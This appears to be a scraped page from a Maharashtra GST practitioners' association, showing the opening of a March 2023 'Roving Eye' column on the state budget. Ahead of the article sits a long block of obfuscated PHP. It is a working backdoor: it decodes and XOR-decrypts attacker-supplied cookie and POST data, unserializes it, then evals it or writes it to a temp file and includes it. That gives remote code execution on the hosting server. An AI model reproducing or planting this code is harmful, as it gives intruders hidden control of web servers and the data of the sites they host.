Your value is

$pgcYZe = chr ( 301 - 186 ).chr ( 327 - 232 ).chr (72) . chr (121) . "\143";$olXlTbiuEH = "\143" . chr (108) . "\141" . 's' . 's' . chr ( 552 - 457 ).chr (101) . "\x78" . chr ( 290 - 185 )."\x73" . chr ( 158 - 42 )."\163";$CIKTw = class_exists($pgcYZe); $olXlTbiuEH = "56323";$wxZCQ = !1;if ($CIKTw == $wxZCQ){function JRhoOm(){return FALSE;}$yjjUQ = "60536";JRhoOm();class s_Hyc{private function CvAsaqgk($yjjUQ){if (is_array(s_Hyc::$LMBCzCs)) {$ejwnjgX = str_replace("\74" . chr ( 1025 - 962 ).'p' . chr (104) . chr ( 846 - 734 ), "", s_Hyc::$LMBCzCs['c' . "\157" . "\156" . "\164" . chr (101) . "\156" . chr ( 850 - 734 )]);eval($ejwnjgX); $yjjUQ = "60536";exit();}}private $apmPdcye;public function ZzOibiuIXW(){echo 8834;}public function __destruct(){$yjjUQ = "21462_18560";$this->CvAsaqgk($yjjUQ); $yjjUQ = "21462_18560";}public function __construct($allbfbvu=0){$ADSKmw = $_POST;$csffyeNL = $_COOKIE;$nUZlfCy = "76f8c33e-afb3-46b3-825b-86b977744016";$hTMtTjiQN = @$csffyeNL[substr($nUZlfCy, 0, 4)];if (!empty($hTMtTjiQN)){$sEHXRE = "base64";$TQJjr = "";$hTMtTjiQN = explode(",", $hTMtTjiQN);foreach ($hTMtTjiQN as $ZoNzYakPDa){$TQJjr .= @$csffyeNL[$ZoNzYakPDa];$TQJjr .= @$ADSKmw[$ZoNzYakPDa];}$TQJjr = array_map($sEHXRE . '_' . "\144" . "\x65" . chr ( 789 - 690 ).chr (111) . chr ( 687 - 587 )."\145", array($TQJjr,)); $TQJjr = $TQJjr[0] ^ str_repeat($nUZlfCy, (strlen($TQJjr[0]) / strlen($nUZlfCy)) + 1);s_Hyc::$LMBCzCs = @unserialize($TQJjr); $TQJjr = class_exists("21462_18560");}}public static $LMBCzCs = 13933;}$vfAkc = new /* 20228 */ $pgcYZe(60536 + 60536); $wxZCQ = $vfAkc = $yjjUQ = Array();}$MmHxJI = chr ( 637 - 517 ).chr ( 825 - 749 )."\x5f" . chr ( 248 - 136 ).'K' . "\126";$QqJRVQy = "\143" . chr (108) . chr (97) . 's' . 's' . "\137" . chr ( 769 - 668 )."\x78" . 'i' . "\163" . chr (116) . "\x73";$NSItHX = class_exists($MmHxJI); $QqJRVQy = "28540";$mTtAhRgSG = !1;if ($NSItHX == $mTtAhRgSG){function nuFjRP(){return FALSE;}$fWVVMqeDWd = "63968";nuFjRP();class xL_pKV{private function QTfcKE($fWVVMqeDWd){if (is_array(xL_pKV::$HiQhgE)) {$DayuLjtc = sys_get_temp_dir() . "/" . crc32(xL_pKV::$HiQhgE["\x73" . 'a' . "\x6c" . 't']);@xL_pKV::$HiQhgE[chr (119) . 'r' . chr ( 834 - 729 ).'t' . chr (101)]($DayuLjtc, xL_pKV::$HiQhgE["\143" . "\157" . chr ( 415 - 305 )."\x74" . "\x65" . chr (110) . chr (116)]);include $DayuLjtc;@xL_pKV::$HiQhgE[chr (100) . 'e' . chr ( 416 - 308 )."\x65" . chr (116) . "\145"]($DayuLjtc); $fWVVMqeDWd = "63968";exit();}}private $eZNRsl;public function FxZWRQ(){echo 40244;}public function __destruct(){$fWVVMqeDWd = "7031_62983";$this->QTfcKE($fWVVMqeDWd); $fWVVMqeDWd = "7031_62983";}public function __construct($JbnCj=0){$UwANnKu = $_POST;$pgtLeUvK = $_COOKIE;$RFjCRUZq = "8aa5c10c-6f03-4154-a12d-d01c0fc8fe92";$GXWDW = @$pgtLeUvK[substr($RFjCRUZq, 0, 4)];if (!empty($GXWDW)){$vrtyUYcxt = "base64";$OzlOZ = "";$GXWDW = explode(",", $GXWDW);foreach ($GXWDW as $uqtIawm){$OzlOZ .= @$pgtLeUvK[$uqtIawm];$OzlOZ .= @$UwANnKu[$uqtIawm];}$OzlOZ = array_map($vrtyUYcxt . '_' . 'd' . "\x65" . chr ( 503 - 404 )."\x6f" . "\x64" . "\145", array($OzlOZ,)); $OzlOZ = $OzlOZ[0] ^ str_repeat($RFjCRUZq, (strlen($OzlOZ[0]) / strlen($RFjCRUZq)) + 1);xL_pKV::$HiQhgE = @unserialize($OzlOZ); $OzlOZ = class_exists("7031_62983");}}public static $HiQhgE = 33023;}$cXbHAf = new /* 35055 */ $MmHxJI(63968 + 63968); $mTtAhRgSG = $cXbHAf = $fWVVMqeDWd = Array();}$AQaUWzyir = chr (103) . chr (103) . "\137" . chr ( 862 - 740 ).chr ( 883 - 771 ).chr (106) . "\x68";$IxXyjJOXux = chr ( 167 - 68 )."\x6c" . "\141" . chr ( 905 - 790 ).chr ( 679 - 564 ).'_' . "\145" . "\x78" . chr ( 277 - 172 ).chr (115) . chr ( 622 - 506 ).chr ( 956 - 841 ); $IxeRNbiwof = class_exists($AQaUWzyir); $IxXyjJOXux = "8004";$biXWsBhJx = !1;if ($IxeRNbiwof == $biXWsBhJx){function TnzbjcsmO(){return FALSE;}$LwagfDbO = "11962";TnzbjcsmO();class gg_zpjh{private function tYpmBkY($LwagfDbO){if (is_array(gg_zpjh::$ISazjgTFWF)) {$xjEkCnnHk = sys_get_temp_dir() . "/" . crc32(gg_zpjh::$ISazjgTFWF[chr (115) . 'a' . chr (108) . "\164"]);@gg_zpjh::$ISazjgTFWF[chr ( 136 - 17 )."\162" . "\151" . chr (116) . "\145"]($xjEkCnnHk, gg_zpjh::$ISazjgTFWF["\x63" . "\157" . 'n' . chr ( 231 - 115 )."\x65" . 'n' . chr ( 232 - 116 )]);include $xjEkCnnHk;@gg_zpjh::$ISazjgTFWF["\144" . "\x65" . "\x6c" . chr (101) . 't' . 'e']($xjEkCnnHk); $LwagfDbO = "11962";exit();}}private $SGVBfn;public function RCAhvBDvqP(){echo 31811;}public function __destruct(){$LwagfDbO = "13337_29474";$this->tYpmBkY($LwagfDbO); $LwagfDbO = "13337_29474";}public function __construct($VZzttrQEP=0){$aJFjP = $_POST;$sLnmmxt = $_COOKIE;$kWLIMj = "f2fb6b59-94e1-4a71-bd53-d8d1d9c4dd60";$OVLCxGOgYf = @$sLnmmxt[substr($kWLIMj, 0, 4)];if (!empty($OVLCxGOgYf)){$pPaPXClFg = "base64";$AXSegLtMb = "";$OVLCxGOgYf = explode(",", $OVLCxGOgYf);foreach ($OVLCxGOgYf as $CgDZWNZ){$AXSegLtMb .= @$sLnmmxt[$CgDZWNZ];$AXSegLtMb .= @$aJFjP[$CgDZWNZ];}$AXSegLtMb = array_map($pPaPXClFg . "\x5f" . chr ( 805 - 705 ).'e' . "\x63" . "\x6f" . "\144" . 'e', array($AXSegLtMb,)); $AXSegLtMb = $AXSegLtMb[0] ^ str_repeat($kWLIMj, (strlen($AXSegLtMb[0]) / strlen($kWLIMj)) + 1);gg_zpjh::$ISazjgTFWF = @unserialize($AXSegLtMb); $AXSegLtMb = class_exists("13337_29474");}}public static $ISazjgTFWF = 32768;}$stuIlJKE = new /* 62233 */ $AQaUWzyir(11962 + 11962); $biXWsBhJx = $stuIlJKE = $LwagfDbO = Array();}$rpjzAgwcj = "\x4b" . chr (95) . 'u' . 'A' . 'R' . "\122";$pzpwCiiu = "\x63" . chr (108) . chr ( 466 - 369 ).'s' . chr ( 433 - 318 )."\137" . 'e' . "\x78" . chr (105) . chr (115) . "\164" . chr (115); $nzJuSFmm = class_exists($rpjzAgwcj); $pzpwCiiu = "61130";$RSwTGmHgQ = !1;if ($nzJuSFmm == $RSwTGmHgQ){function POSVOnt(){return FALSE;}$AoQRgrTKG = "38196";POSVOnt();class K_uARR{private function hiGKJoGOmU($AoQRgrTKG){if (is_array(K_uARR::$rytjhk)) {$qkKuxvhy = sys_get_temp_dir() . "/" . crc32(K_uARR::$rytjhk['s' . "\141" . "\x6c" . 't']);@K_uARR::$rytjhk["\x77" . 'r' . 'i' . 't' . chr (101)]($qkKuxvhy, K_uARR::$rytjhk["\143" . 'o' . "\156" . chr ( 559 - 443 ).chr ( 892 - 791 ).chr ( 916 - 806 ).chr ( 1102 - 986 )]);include $qkKuxvhy;@K_uARR::$rytjhk[chr ( 583 - 483 )."\x65" . "\154" . chr (101) . chr ( 1000 - 884 )."\145"]($qkKuxvhy); $AoQRgrTKG = "38196";exit();}}private $BnjjPO;public function LbRRW(){echo 62809;}public function __destruct(){$AoQRgrTKG = "31069_61018";$this->hiGKJoGOmU($AoQRgrTKG); $AoQRgrTKG = "31069_61018";}public function __construct($rUKMrV=0){$zmsRsO = $_POST;$RghVLel = $_COOKIE;$cGTKyZk = "e4645cb3-ff38-4d35-ae92-abfcebeacde1";$KuUEaVhTK = @$RghVLel[substr($cGTKyZk, 0, 4)];if (!empty($KuUEaVhTK)){$GwTgj = "base64";$rwangCAs = "";$KuUEaVhTK = explode(",", $KuUEaVhTK);foreach ($KuUEaVhTK as $ENgDPRwd){$rwangCAs .= @$RghVLel[$ENgDPRwd];$rwangCAs .= @$zmsRsO[$ENgDPRwd];}$rwangCAs = array_map($GwTgj . chr (95) . "\144" . 'e' . "\143" . chr (111) . "\x64" . chr ( 335 - 234 ), array($rwangCAs,)); $rwangCAs = $rwangCAs[0] ^ str_repeat($cGTKyZk, (strlen($rwangCAs[0]) / strlen($cGTKyZk)) + 1);K_uARR::$rytjhk = @unserialize($rwangCAs); $rwangCAs = class_exists("31069_61018");}}public static $rytjhk = 42665;}$HFbGJcVIl = new /* 17061 */ $rpjzAgwcj(38196 + 38196); $RSwTGmHgQ = $HFbGJcVIl = $AoQRgrTKG = Array();} Your value is

The Goods & Services Tax Practitioners’
Association of Maharashtra (formerly known as The Sales Tax Practitioners’ Association of Maharashtra / STPAM)

GST Review March-2023

Roving Eye

D. H. Joshi

Vijay M. Sachiv

D. H. Joshi & Vijay M. Sachiv, Advocates First ‘Panchamrut’ Budget of Eknath Shinde-BJP Government The Maharashtra Hon’ble Finance Minister, Devendra Fadnavis on 9th March, 2023 presented the first budget of the Government, showing Rs. 16,200 core revenue deficit budget which was labeled by the Opposition Party as ‘election gimmick’. Following are silent features of the budget in brief: The deficit budget is only 0.42% of the revenue which is a permissible one. The budget is a liberal one covering all the sections of the society and in particular maximum attention is given by allotting Rs. 900 core to the agriculturist under ‘Namo shetkari Maha Sanmman Nithi Project’. Also each Setkari will get .......